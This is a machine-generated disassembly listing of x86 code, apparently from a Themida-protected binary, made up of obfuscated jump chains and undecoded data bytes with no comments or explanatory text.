		dd 31954D4Fh, 0DA895AD3h, 81241C8Bh, 4C4h, 0B2C58100h
		dd 1432A28h, 0B2ED81D5h, 8B432A28h, 0C4812414h,	4, 1DDBE955h
		dd 4BBA0000h, 0BE721C07h, 0B6EFF8C3h, 3EE9D601h
		db 0Bh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_550223:				; CODE XREF: Themida_:00556A71j
		pop	ebp
		push	edx
		mov	edx, 30A95A40h
		jmp	loc_5578D1
; ---------------------------------------------------------------------------
		db 54h
		dd 4C3815Bh, 55000000h,	4BDh, 5DEB0100h, 8B241C87h, 68662424h
		dd 8966746Fh, 6B68241Ch, 89000027h
		db 4, 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		jmp	loc_5562BE
; ---------------------------------------------------------------------------
		dw 0C681h
		dd 5FCC440Ah, 0FFE0E2E9h, 240C89FFh, 42CD68h, 24248900h
		dd 0FF84DCE9h, 60EE81FFh, 0E9077A74h, 73C3h, 0E9240C31h
		dd 0FFFF5115h
; ---------------------------------------------------------------------------


loc_55028C:				; CODE XREF: Themida_:00547B6Cj
		mov	ecx, 0BBC24BCh
		jmp	loc_543FA3
; ---------------------------------------------------------------------------
		dw 0CD01h
		dd 5DEA2959h, 3AE5C281h, 0C2812228h, 0FEF72A32h, 342CE9h
		dd 4C48100h, 81000000h,	4C4h, 69506800h, 34890000h, 3F7BE24h
		dd 8768214Fh, 8900000Ch, 14F72434h, 24348B24h, 51FEE956h
		dd 0A6BDFFFFh, 0E9156616h, 0FFFFB938h, 0E958C601h, 0FFFFC56Ah
		dd 54241C89h, 81241C8Bh, 4C4h, 4C38100h, 0E9000000h, 0FFFF83C3h
		dd 0C960E958h, 8B5DFFFFh, 0C481242Ch, 4, 4C581h, 0BA520000h
		dd 2, 34FFD501h, 24148B24h, 5704C483h, 0FFCA83E9h, 5EF121FFh
		dd 26C1C981h, 504933A8h, 0D4E9E089h, 53FFFF4Fh,	6D669FBBh
		dd 8BDA310Dh, 0C483241Ch, 0F7D2F704h, 32C281D2h, 578BD587h
		dd 0FD1040BFh, 0F7C78118h, 1355360h, 7523E9FEh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55036E:				; CODE XREF: Themida_:00542B31j
		sub	al, dh
		pop	edx
		jmp	loc_54A768
; ---------------------------------------------------------------------------


loc_550376:				; CODE XREF: Themida_:00552829j
		add	edi, 2C483588h
		shr	edi, 2
		push	esi
		push	7D4Bh
		mov	[esp], edi
		mov	edi, 6A870459h
		mov	esi, 399E23h
		sub	esi, edi
		jmp	loc_54AEAF
; ---------------------------------------------------------------------------


loc_550399:				; CODE XREF: Themida_:00546813j
		test	ecx, eax
		pushf
		jmp	loc_54270C
; ---------------------------------------------------------------------------
		db 83h,	0C2h, 4
		dd 5C241487h, 0E8E9D001h, 6600000Dh, 0E924048Bh, 0FFFF9190h
; ---------------------------------------------------------------------------


loc_5503B8:				; CODE XREF: Themida_:0054ED0Fj
		pop	ecx
		jmp	loc_55587C
; ---------------------------------------------------------------------------
		dw 0E953h
		dd 0FFFF91C8h, 2BC8E95Bh, 0CBB1FFFFh, 0F7809DB7h, 0F6CFFED6h
		dd 80CFFED7h, 77E969E7h, 0B8FFFFD1h, 74E81604h,	0E958C721h
		dd 0FFFF459Eh, 0A0136855h, 15DEBD0h, 242C8BEAh,	104C483h
		dd 4791E9D0h, 0E281FFFFh, 0A1647F0h, 3DBAC281h,	0AEE92DE2h
		dd 81FFFF33h, 4C3h, 4C38100h, 87000000h, 815C241Ch, 4C6h
		dd 70E26800h, 14890000h, 2BA24h, 0D6010000h, 0EC69E95Ah
		dd 0C781FFFFh, 444B4947h, 0CA69F781h, 0F80168D5h, 2404875Fh
		dd 1A13685Ch, 3C890000h, 14685624h, 5E3EAB0Ah, 48B5E9h
		dd 24440100h, 8E95804h
		db 6Dh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55046F:				; CODE XREF: Themida_:005431B8j
		sub	esp, 4
		mov	[esp], ecx
		mov	cx, 1A73h
		sub	cx, 34Fh
		shl	cx, 5
		push	bp
		push	small 39B2h
		pop	bp
		push	edi
		mov	di, 644Eh
		neg	di
		shl	di, 3
		jmp	loc_54603D
; ---------------------------------------------------------------------------
		dw 0D2F7h
		dd 4DFFEA81h, 54E92C04h, 66FFFF34h, 0F6DC8850h,	66E388D4h
		dd 22B65258h, 8069CE80h, 0CE80AAF6h, 4FD2E9DEh,	0F781FFFFh
		dd 22EF56F9h, 4B5FFB29h, 12DDF381h, 79E97521h
		db 54h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5504DB:				; CODE XREF: Themida_:0054C734j
		sub	ebp, 560112D8h
		push	eax
		jmp	loc_55728E
; ---------------------------------------------------------------------------
		db 0FFh
a4XqissN	db '4$XQ‰áéÝn',0
		dw 0C100h
		dd 494908E9h, 0FF4D19E9h, 51E689FFh, 0FF7EF5E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_550505:				; CODE XREF: Themida_:00544642j
		pop	esi
		xor	eax, ecx
		mov	ecx, [esp]
		add	esp, 4
		push	ebp
		push	edi
		mov	edi, esp
		push	esi
		mov	esi, 4
		add	edi, esi
		mov	esi, [esp]
		jmp	loc_55615C
; ---------------------------------------------------------------------------


loc_550525:				; CODE XREF: Themida_:005478C3j
		xor	[esp], edx
		xor	edx, [esp]
		mov	esp, [esp]
		push	eax
		mov	eax, 4591CFFh
		add	eax, 6AE4F506h
		sub	esi, eax
		mov	eax, [esp]
		add	esp, 4
		sub	esp, 4
		mov	[esp], esi
		pop	eax
		pop	esi
		jmp	loc_547498
; ---------------------------------------------------------------------------


loc_550551:				; CODE XREF: Themida_:0054C327j
		add	ebx, ecx
		sub	ebx, 64EA5D95h
		pop	ecx
		xchg	ebx, [esp]
		mov	esp, [esp]
		jmp	loc_54270C
; ---------------------------------------------------------------------------


loc_550565:				; CODE XREF: Themida_:0054A7E8j
		not	ebx
		add	ebx, 3BE844E9h
		add	eax, ebx
		push	dword ptr [esp]
		jmp	loc_54B141
; ---------------------------------------------------------------------------
		db 89h
		dd 75BF59C8h, 0E94BB9BEh, 11DAh, 0E9E68956h, 0FFFF22F3h
; ---------------------------------------------------------------------------


loc_55058C:				; CODE XREF: Themida_:0054D89Ej
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	ebp
		push	ecx
		mov	ecx, 4
		add	ebp, ecx
		mov	ecx, [esp]
		add	esp, 4
		push	ecx
		push	edi
		push	6A880E66h
		pop	edi
		jmp	loc_54961A
; ---------------------------------------------------------------------------
		db 83h
		dd 8B042404h, 0C483241Ch, 59726804h, 4890000h, 4EC8124h
		dd 89000000h, 3BE92434h, 80FFFF76h, 0F58032E5h,	8DB64Ch
		dd 0C68059EEh, 2BC3E9EBh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5505E2:				; CODE XREF: Themida_:005480C2j
		add	esp, 4
		push	ebp
		jmp	loc_5516B8
; ---------------------------------------------------------------------------


loc_5505EB:				; CODE XREF: Themida_:005455ECj
		pop	ebx
		push	esi
		mov	esi, 2C2C3E45h
		jmp	loc_54A80A
; ---------------------------------------------------------------------------


loc_5505F7:				; CODE XREF: Themida_:00548A0Bj
		add	ecx, edi
		jmp	loc_55324E
; ---------------------------------------------------------------------------
		dw 8957h
		dd 4C781E7h, 83000000h,	3C8704EFh, 1C895C24h, 4EC8124h
		dd 89000000h, 0D8E92424h, 4FFFFA2h, 0E9B92CC2h,	0FFFF75AFh
; ---------------------------------------------------------------------------


loc_550628:				; CODE XREF: Themida_:005460FEj
		mov	eax, 25E00B2Eh
		not	eax
		add	eax, 73664BD6h
		sub	eax, 5D539B66h
		sub	ebp, eax
		pop	eax
		jmp	loc_54FD49
; ---------------------------------------------------------------------------
		db 0F7h, 0D3h, 53h
		dd 1D29E9h, 24148B00h, 4C481h, 0BD550000h, 230563D1h, 1849F581h
		dd 0ED8147CDh, 20606DEBh, 2C8BEB01h, 4C48124h, 29000000h
		dd 0ADEB81CBh, 5944680Dh, 17A3EB81h, 0A1E9502Dh, 6600000Fh
		dd 0B2EA8059h, 0F603EAC0h, 4EC81DAh, 89000000h,	7FB5240Ch
		dd 0FF5365E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55069D:				; CODE XREF: Themida_:0054B2A4j
		xor	[ecx], ebx
		pop	ecx
		mov	ebx, [esp]
		add	esp, 4
		jmp	loc_556A5F
; ---------------------------------------------------------------------------
		db 68h
		dd 37C5h, 31C0E9h, 81D62900h, 960188EEh, 81565A2Dh, 5F132404h
		dd 0B5E90244h, 5AFFFF56h, 0D187D2F7h, 76E98149h, 682E212Ch
		dd 34h,	0B8240489h, 5A796739h, 0CE35D8F7h, 4023C562h, 0BA52h
		dd 0C2290000h, 6234E9h,	243C8B00h, 4C481h, 0F2810000h
		dd 720D2D3Fh, 56E9D301h, 66000054h, 0E9240C8Bh,	0FFFF84DEh
		dd 4246C01h, 4246C81h, 2DEC0860h, 0FFADACE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_550729:				; CODE XREF: Themida_:005521E0j
		mov	[esp], ebp
		jmp	loc_552BE7
; ---------------------------------------------------------------------------
		db 81h,	0C3h, 4
		dd 81000000h, 4EBh, 74FF5300h, 0F3E90424h, 89FFFF24h, 4812424h
		dd 424h, 0B8505900h, 6AB27541h,	6C74E405h, 0D2F7927Fh
		dd 0AC18E950h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		push	ebx
		jmp	loc_54BDBC
; ---------------------------------------------------------------------------
		dd 240C8B66h, 68E08950h, 2090h,	0BA241489h, 619C722Bh
		dd 19EAE281h, 814262CDh, 423052C2h, 9AE2810Dh, 81104A74h
		dd 37781AC2h, 2EEA815Fh, 0E95F81B8h, 141Dh, 240C8B66h
		dd 69E268h, 24148900h, 0FF458DE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5507C5:				; CODE XREF: Themida_:0054D013j
		not	ebx
		dec	ebx
		shr	ebx, 3
		xor	ebx, 52F2570Fh
		jmp	loc_555D45
; ---------------------------------------------------------------------------
		dw 34FFh
		dd 2434FF24h, 5243E9h
		db 0
; ---------------------------------------------------------------------------


loc_5507E1:				; CODE XREF: Themida_:0054AF18j
		push	ecx
		mov	ecx, 1
		jmp	loc_556926
; ---------------------------------------------------------------------------
		dd 214A31B9h, 0F1814177h, 297C629Dh, 64A5F181h,	81416A06h
		dd 5B4C0FF1h, 59CF8934h, 565FFB01h, 4BEh, 8BF30100h, 4BE92434h
		db 3 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55081B:				; CODE XREF: Themida_:0054CC82j
		push	ecx
		push	esp
		pop	ecx
		push	edx
		mov	edx, 57334458h
		sub	edx, 518D0BDFh
		add	edx, 0FA59C78Bh
		add	ecx, edx
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_5532EA
; ---------------------------------------------------------------------------
		dd 8305EAC1h, 0E957FFC2h, 0FFFFE9DBh, 7450BE56h, 0D6F72D2Ah
		dd 67C4B850h, 9BE962B4h, 57FFFFADh, 643AFBFh, 58575027h
		dd 48BC689h, 4C48324h, 2E1CE95Fh, 8F590000h, 248B2404h
		dd 5988E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_550882:				; CODE XREF: Themida_:00544C72j
		push	ebx
		push	ebp
		mov	ebp, 38E4A5Ch
		shr	ebp, 2
		or	ebp, 694939DFh
		xor	ebp, 8E14339h
		sub	ebp, 375D2468h
		sub	ebp, 29ADD47Dh
		mov	ebx, ebp
		jmp	loc_5461C8
; ---------------------------------------------------------------------------
aMssr		db '¬é˜r',0
		dd 21DBD00h, 0ED8159B5h, 2DFCD25Ch, 0E95DEF01h,	55CFh
		dd 0C5814D58h, 30DC3E7Dh, 712ACD81h, 814D5BB3h,	0EA0A9FF5h
		dd 0CCC58153h, 0E957A60Ah, 0FFFFEAFEh, 654D30BBh, 0E9D9897Fh
		dd 4E5h
; ---------------------------------------------------------------------------


loc_5508F0:				; CODE XREF: Themida_:00552CC2j
		xor	dword ptr [esp], 0DEE7CA2h
		pop	dword ptr [edi+20h]
		push	ebx
		push	ecx
		mov	ecx, 0DEE7CA2h
		push	ecx
		pop	ebx
		pop	ecx
		push	ecx
		push	ebp
		push	ecx
		push	eax
		jmp	loc_544D29
; ---------------------------------------------------------------------------


loc_55090D:				; CODE XREF: Themida_:00553213j
		add	esi, 4
		jmp	loc_549A1D
; ---------------------------------------------------------------------------
		dd 8B66F020h, 0C4812414h, 2, 2FDF68h, 2339E900h, 4050000h
		dd 2D000000h, 2, 2EEBE9h
		db 0
; ---------------------------------------------------------------------------


loc_55093D:				; CODE XREF: Themida_:00547353j
		mov	[esp], esp
		add	dword ptr [esp], 4
		push	dword ptr [esp]
		jmp	loc_553CB4
; ---------------------------------------------------------------------------
		dd 7FBF381h, 25E96E32h,	0E9FFFFE0h, 0FFFF1DB0h,	0CC8BA52h
		dd 0EA810C85h, 47C26D1Ch, 8106EAC1h, 0C9B325EAh, 3F9BE99Dh
		dd 91E90000h, 29FFFF1Dh, 87B951D3h, 0E970D05Ch,	0FFFFB4A3h
; ---------------------------------------------------------------------------


loc_550988:				; CODE XREF: Themida_:00546F43j
		pop	dword ptr [esp]
		pop	esp
		or	edx, eax
		shl	edx, 1
		push	dword ptr [edi+24h]
		push	177Ah
		mov	[esp], ebp
		sub	esp, 4
		jmp	loc_548C1E
; ---------------------------------------------------------------------------
		db 0FFh
		dd 0E9042474h, 1DD7h
; ---------------------------------------------------------------------------


loc_5509AC:				; CODE XREF: Themida_:0054C7C8j
		xchg	ebx, [esp]
		pop	esp
		sub	eax, 665A3CF4h
		jmp	loc_5518E6
; ---------------------------------------------------------------------------


loc_5509BA:				; CODE XREF: Themida_:0054651Fj
		add	esi, 6C761397h
		pop	edx
		push	edi
		mov	edi, 4
		sub	esi, edi
		push	dword ptr [esp]
		jmp	loc_54B411
; ---------------------------------------------------------------------------
		db 87h,	14h, 24h
		dd 242C895Ch, 1B086852h, 815A4C7Ch, 83E4FCC2h, 8BD589B3h
		dd 0C4832414h, 2EE95304h
		db 2Ch,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5509F3:				; CODE XREF: Themida_:005561B7j
		xor	ebp, [esp]
		xor	[esp], ebp
		xor	ebp, [esp]
		pop	esp
		jmp	loc_557707
; ---------------------------------------------------------------------------
		dw 0C483h
		dd 15EF8104h, 149F935h,	96A8E9C7h, 5152FFFFh, 8853F988h
		dd 1F91E9CFh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_550A1E:				; CODE XREF: Themida_:00552B98j
		pop	dword ptr [esp]
		pop	esp
		jmp	loc_548B6C
; ---------------------------------------------------------------------------
		db 5Ah
		dd 0EC5EE958h, 1487FFFFh, 6177E924h, 78BE0000h,	815F700Fh
		dd 0AA0152C6h, 0C019E926h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_550A46:				; CODE XREF: Themida_:00553397j
		dec	esi
		push	esi
		jmp	loc_549BC0
; ---------------------------------------------------------------------------
		db 89h,	1Ch, 24h
		dd offset dword_450050+32F99h
		dd 0B8C38100h, 29391E21h, 0B8EB81F3h, 5E391E21h, 835BDA01h
		dd 3C8904ECh, 8051E924h, 5558FFFFh, 621B1DBDh, 0CD81454Ah
		dd 58F341C1h, 814DD5F7h, 0D57E85EDh, 5DE8016Bh,	7E95140h
		db 92h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_550A93:				; CODE XREF: Themida_:0055180Aj
		push	dword ptr [esp+4]
		pop	edi
		pop	dword ptr [esp]
		pop	ebx
		push	ebx
		jmp	loc_54EDEF
; ---------------------------------------------------------------------------


loc_550AA2:				; CODE XREF: Themida_:00552466j
		mov	[esp], esi
		mov	esi, 0A423E47h
		and	eax, esi
		pop	esi
		xor	eax, 3401h
		sub	ebp, 4133481Ch
		sub	ebp, 4B98000Fh
		jmp	loc_557595
; ---------------------------------------------------------------------------
		db 0ADh
		dd 4EC8350h, 68243C89h,	3F61BDDh, 56243C8Bh, 5152E689h
		dd 274E1EB9h, 19F1817Ah, 5048DC5Fh, 0D6684B8h, 2EE95257h
		dd 88FFFF24h, 5BFC88D7h, 1AC4805Ah, 48BE128h, 5CEEE924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_550B02:				; CODE XREF: Themida_:0054F2BCj
		xor	ch, 86h
		xor	dh, ch
		pop	ecx
		jmp	loc_551069
; ---------------------------------------------------------------------------


loc_550B0D:				; CODE XREF: Themida_:0054AA27j
		push	ebx
		push	7EBF7A58h
		pop	ebx
		shl	ebx, 5
		add	ebx, 2810B504h
		add	ebp, ebx
		mov	ebx, [esp]
		add	esp, 4
		push	ecx
		jmp	loc_54DCE1
; ---------------------------------------------------------------------------
		db 4
		dd 68D00051h, 6554h, 0E9241489h, 478Fh,	1C83C681h, 0D601363Ah
		dd 1C83EE81h, 0B951363Ah, 53577E2Bh, 4835F181h,	0B8505BD1h
		dd 57B04D41h, 3B08E9h, 52E95900h, 0F7FFFFB0h, 0C58145D5h
		dd 95D39050h, 3E0D3C05h, 2DE82965h, 653E0D3Ch, 3FCCE9h
		dd 4EE8300h, 12B1E9h, 0E9028F00h, 0FFFF1B7Ch
; ---------------------------------------------------------------------------


loc_550B90:				; CODE XREF: Themida_:005461C9j
		sub	edi, ebx
		jmp	loc_54B5E4
; ---------------------------------------------------------------------------
		db 33h
		dd 0C31240Ch, 240C3324h, 0FFEFFFE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_550BA5:				; CODE XREF: Themida_:005535E5j
		pop	esi
		push	ebp
		jmp	loc_54AF80
; ---------------------------------------------------------------------------
		dd 0E8E9D5F6h
		db 20h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_550BB3:				; CODE XREF: Themida_:0054D744j
		add	edx, 73375C7Eh
		jmp	loc_5451D5
; ---------------------------------------------------------------------------
		dw 7C68h
		dd 0E900001Ah, 0FFFFA499h, 240C8B66h, 0FF6E93E9h, 0E1C380FFh
		dd 0EB80C300h, 4055E9E1h, 0F488FFFFh, 6658E588h, 0A9C5805Ah
		dd 2EDEE950h, 0EA800000h, 80EA28FAh, 8059FAC2h,	0E20059C2h
		dd 6659EA80h, 8FB551h, 0E95966EAh, 0FFFF3F28h, 0BD293068h
		dd 0E7815F73h, 1A9022F5h, 0CF81DFF7h, 7ADF5958h, 0B5EFEF81h
		dd 0FD89F90Ch, 246C015Fh, 44815D0Ch, 425D0824h,	5C0116D6h
		dd 77E90824h
		db 0E8h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_550C3F:				; CODE XREF: Themida_:0054900Bj
		pop	esp
		pop	ebp
		jmp	loc_54487C
; ---------------------------------------------------------------------------
		dw 0C281h
		dd 4, 0FFFDDDE9h, 48F59FFh, 24248B24h, 0FF1AAFE9h, 895059FFh
		dd 405E0h, 4050000h, 87000000h,	0E95C2404h, 5C3h
; ---------------------------------------------------------------------------


loc_550C74:				; CODE XREF: Themida_:0054320Bj
		xchg	esi, [esp]
		pop	esp
		push	edx
		push	esp
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		push	ebx
		mov	ebx, 4
		add	edx, ebx
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		push	63ADh
		mov	[esp], edi
		push	ebx
		mov	ebx, 60F03C1Ah
		mov	edi, 2E4A1D96h
		xor	edi, ebx
		pop	ebx
		push	ebp
		mov	ebp, 51240914h
		jmp	loc_54B804
; ---------------------------------------------------------------------------


loc_550CB7:				; CODE XREF: Themida_:0055399Cj
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_549A85
; ---------------------------------------------------------------------------
		dd offset dword_49005C+22062h
		db 28h,	9, 0F3h
		dd 59F3815Eh, 81687A4Ch, 9864D3C7h, 6BBA5216h, 8142F245h
		dd 4C77FAEFh, 81D70169h, 4C77FAC7h, 0DF015A69h,	456BBE56h
		dd 0E9E942F2h
		db 6Dh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_550CFB:				; CODE XREF: Themida_:00543C02j
		add	ecx, 48DF25FDh
		jmp	loc_552682
; ---------------------------------------------------------------------------
		dw 0EB81h
		dd 0BA48308Ch, 4305E3C1h, 0C1DBF743h, 60E905E3h, 88000028h
		dd 148B66D7h, 2C48124h,	80000000h, 0EF8084C7h, 8A11E9BDh
		dd 0B60FFFFFh, 0C4E955C8h, 28FFFF97h, 30E980C1h, 64F18058h
		dd 20A9E9h, 8BEA2800h, 0C481240Ch, 4, 80A6E280h, 0D58817C2h
		dd 0FF6E6AE9h, 0CE815AFFh, 331440BFh, 2F67EE81h, 0F1890B31h
		dd 21F1815Eh, 8932655Bh, 5670E9CAh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_550D7E:				; CODE XREF: Themida_:00545A59j
		mov	[esp], ebp
		mov	ebp, 51B2359Bh
		push	edi
		mov	edi, 6847421h
		xor	ebp, edi
		jmp	loc_54B1AE
; ---------------------------------------------------------------------------
		db 8Bh
		dd 0C483241Ch, 0FEF18104h, 527DBA75h, 0F702FFBAh, 45E5E959h
		dd 8B660000h, 91E92404h
		db 32h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_550DB3:				; CODE XREF: Themida_:00542BDAj
		sub	edx, 4
		xor	edx, [esp]
		jmp	loc_54604B
; ---------------------------------------------------------------------------


loc_550DC1:				; CODE XREF: Themida_:005449C3j
		mov	[esp], edx
		push	23BB7139h
		pop	edx
		push	ebp
		mov	ebp, 23BB7138h
		jmp	loc_54E566
; ---------------------------------------------------------------------------
		db 5Bh,	41h, 81h
		dd 9F2A7EC9h, 0E3BB536Bh, 3134C03Ah, 0E9C15BD9h, 0FBE95706h
		dd 81FFFF75h, 4C4h, 2A066800h, 3C890000h, 0ABD5E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_550E02:				; CODE XREF: Themida_:005538BBj
		add	esi, 5D173AF0h
		sub	esi, 4471454Dh
		jmp	loc_54E1C8
; ---------------------------------------------------------------------------
		db 68h
		dd 50F151D7h, 0FF1B28E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_550E1D:				; CODE XREF: Themida_:0054A041j
		push	eax
		push	ebp
		mov	ebp, 4
		mov	eax, ebp
		pop	ebp
		push	8B7h
		mov	[esp], edx
		mov	edx, 54ED312Fh
		sub	ebp, edx
		pop	edx
		add	ebp, eax
		push	eax
		mov	eax, 54ED312Fh
		jmp	loc_554820
; ---------------------------------------------------------------------------
		dd 4C481h, 0C4810000h, 4, 2474FF50h, 329DE904h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_550E5A:				; CODE XREF: Themida_:00546AF9j
		add	eax, 4
		jmp	loc_54ED06
; ---------------------------------------------------------------------------


loc_550E64:				; CODE XREF: Themida_:00547D2Aj
		push	ecx
		mov	ecx, 5475784Ah
		shl	ecx, 1
		jmp	loc_5535D2
; ---------------------------------------------------------------------------
		db 81h,	0EBh, 0EEh
		dd 5A5D3517h, 1B68C301h, 89000061h, 0B9240Ch, 0E9000000h
		dd 0FFFF360Fh, 8704C083h, 19E92404h
		db 3, 2	dup(0)
; ---------------------------------------------------------------------------


loc_550E97:				; CODE XREF: Themida_:0054CB88j
		push	edx
		pop	ecx
		mov	ebx, ecx
		pop	ecx
		pop	edx
		jmp	loc_54FDBF
; ---------------------------------------------------------------------------
		dw 8955h
		dd 5DEF89F5h, 0EBB535Eh, 8157FC31h, 0BD082444h,	0E96C2B2Ah
		dd 0FFFF6BB2h, 83242489h, 0FF042404h, 0C8B2434h, 4C48124h
		dd 83000000h, 0BB6804C4h, 89000016h, 4BF243Ch, 1000000h
		dd 5177E9F9h, 3C89FFFFh, 52E78924h, 4BAh, 5AD70100h, 81E28952h
		dd 4C2h, 6E766800h, 34890000h, 1732E924h, 148B0000h, 4C48124h
		dd 0E9000000h, 0FFFF85A8h
; ---------------------------------------------------------------------------


loc_550F18:				; CODE XREF: Themida_:0054F616j
		mov	[esp], ebx
		add	dword ptr [esp], 77215D70h
		pop	eax
		sub	eax, 77215D70h
		sub	esp, 4
		mov	[esp], ecx
		jmp	loc_554AA2
; ---------------------------------------------------------------------------


loc_550F33:				; CODE XREF: Themida_:0054AA78j
		mov	edx, 4
		add	[esp+4], edx
		mov	edx, [esp]
		add	esp, 4
		mov	esi, [esp]
		sub	esp, 4
		mov	[esp], ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xor	ebp, [esp]
		jmp	loc_557AE9
; ---------------------------------------------------------------------------
		db 5Ch,	1, 0FAh
		dd 82D5E953h, 0E981FFFFh, 4, 5C240C87h,	83240489h, 1C8904ECh
		dd 4C9BB24h, 0CDB84C45h, 314C4504h, 241C8BD8h, 6A45E9h
		dd 3E9C100h, 4A3E953h, 0EC810000h, 4, 6616E9h, 30C18000h
		dd 0FFFD8EE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_550FAD:				; CODE XREF: Themida_:0054BC61j
		add	ebx, 4
		sub	ebx, 4
		xchg	ebx, [esp]
		jmp	loc_5515EF
; ---------------------------------------------------------------------------
a3SF		db '3,$é F',0
		dd 24348900h, 42474FFh,	24048F5Eh, 6624248Bh, 5724048Bh
		dd 243C8B54h, 8904EC83h, 5D54242Ch, 4C581h, 0C5830000h
		dd 242C8704h, 146E9h, 170EE900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_550FFE:				; CODE XREF: Themida_:0054DBC8j
		push	0A8468BDh
		mov	ecx, [esp]
		add	esp, 4
		inc	ecx
		sub	ecx, 0C966149Ah
		mov	ebp, ecx
		pop	ecx
		jmp	loc_54F09C
; ---------------------------------------------------------------------------
		dd 8324148Bh, 0E28104C4h, 321D7EACh, 1C281h, 0EA810000h
		dd 2EBE1D67h, 0C3C2814Ah, 81FEBDDAh, 8853A3C1h,	0BAA2E96Eh
		dd 5401FFFFh, 6C810424h, 3F3F0424h, 0FF5A55A9h,	0EFE92434h
		dd 68FFFF91h, 5A4Dh, 68242C89h,	1, 0FF7228E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_551069:				; CODE XREF: Themida_:00550B08j
		add	dh, 93h
		sub	esp, 2
		mov	[esp], bx
		jmp	loc_551C56
; ---------------------------------------------------------------------------
		db 5
		dd 53B9295Dh, 98E9C801h, 64FFFF33h, 66028B66h, 6677CA68h
		dd 0E9240489h, 0FFFF1674h
; ---------------------------------------------------------------------------


loc_551098:				; CODE XREF: Themida_:0054F9A2j
		mov	bh, cl
		jmp	loc_54CB8D
; ---------------------------------------------------------------------------
		db 1
		dd 48E981E9h, 8B0A7C2Ah, 0C483242Ch, 4EC8304h, 0BA241489h
		dd 14DF79D3h, 0FFD347E9h, 5FFE29FFh, 348BF301h,	4C48324h
		dd 0E904C383h, 4472h
; ---------------------------------------------------------------------------


loc_5510D0:				; CODE XREF: Themida_:0054916Cj
		push	edx
		jmp	loc_555E15
; ---------------------------------------------------------------------------
		dw 0BD55h
		dd 1E46496Bh, 0B4EB8ABAh, 17C28161h, 12BA87Bh, 0D47FE9EAh
		dd 4040FFFFh, 2E1C8A35h, 500BE970h, 34FF0000h, 0C4835B24h
		dd 24048F04h, 24048F5Ch, 2404895Ch, 8B2434FFh, 48682414h
		dd 8900005Bh, 0E6892434h, 4C681h, 0BB530000h, 4, 875BDE01h
		dd 525C2434h, 0E950E289h, 0FFFF1E3Bh, 93E9E389h, 5C00005Bh
		dd 5D5468h, 24148900h, 0FFA958E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55114D:				; CODE XREF: Themida_:0055450Fj
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		push	ecx
		jmp	loc_54A8CE
; ---------------------------------------------------------------------------
aO1		db '-®1¸',0
		dd 0DCE9C189h
		db 0Ch,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55116F:				; CODE XREF: Themida_:0054CFCEj
		shl	ebx, 1
		jmp	loc_54D7BE
; ---------------------------------------------------------------------------
		dw 0E589h
		dd 8904EC83h, 6850241Ch, 67151297h, 0FFF8E9E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_551189:				; CODE XREF: Themida_:00547A90j
		add	edi, 4
		xchg	edi, [esp]
		jmp	loc_54D580
; ---------------------------------------------------------------------------
		db 5Ah
		dd 205h, 24048700h, 243CD25Ch, 1562E99Ch, 0E95AFFFFh, 0FFFF23AEh
		dd 0E924248Bh, 0FFFF6735h, 7388F681h, 0D6F743DAh, 8146D6F7h
		dd 724433EEh, 0C4E95563h, 5AFFFF7Dh, 4C481h, 62680000h
		dd 89000031h, 0E955243Ch, 147Ah, 37E9C729h, 57000008h
		dd 307BB850h, 0D8F72F08h, 4008E0C1h, 0FF30BEE9h, 3E0C1FFh
		dd 0B58B0E35h, 0E9C589DCh, 246Ah, 0E987D5F7h, 0DF74F181h
		dd 0CDE97AEBh, 0B600003Bh, 0A1C680A3h, 0CEFEDEF6h, 3030C680h
		dd 88E95AF5h
		db 11h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55122F:				; CODE XREF: Themida_:00544826j
		xchg	ebx, [esp]
		jmp	loc_553B9E
; ---------------------------------------------------------------------------
		db 8Bh
		dd 54572404h, 4C7815Fh,	83000000h, 3C8704C7h, 0C3015C24h
		dd 8904EC83h, 0D6BD242Ch, 81210F69h, 79083AF5h,	14F7552Fh
		dd 0E2E95D24h, 83FFFFC4h, 3C3304C7h, 243C3124h,	5C243C33h
		dd 0FFD235E9h, 240487FFh, 5FC7E9h, 0EBC05900h, 6EBC002h
		dd 0E992C380h, 0FFFF90FDh
; ---------------------------------------------------------------------------


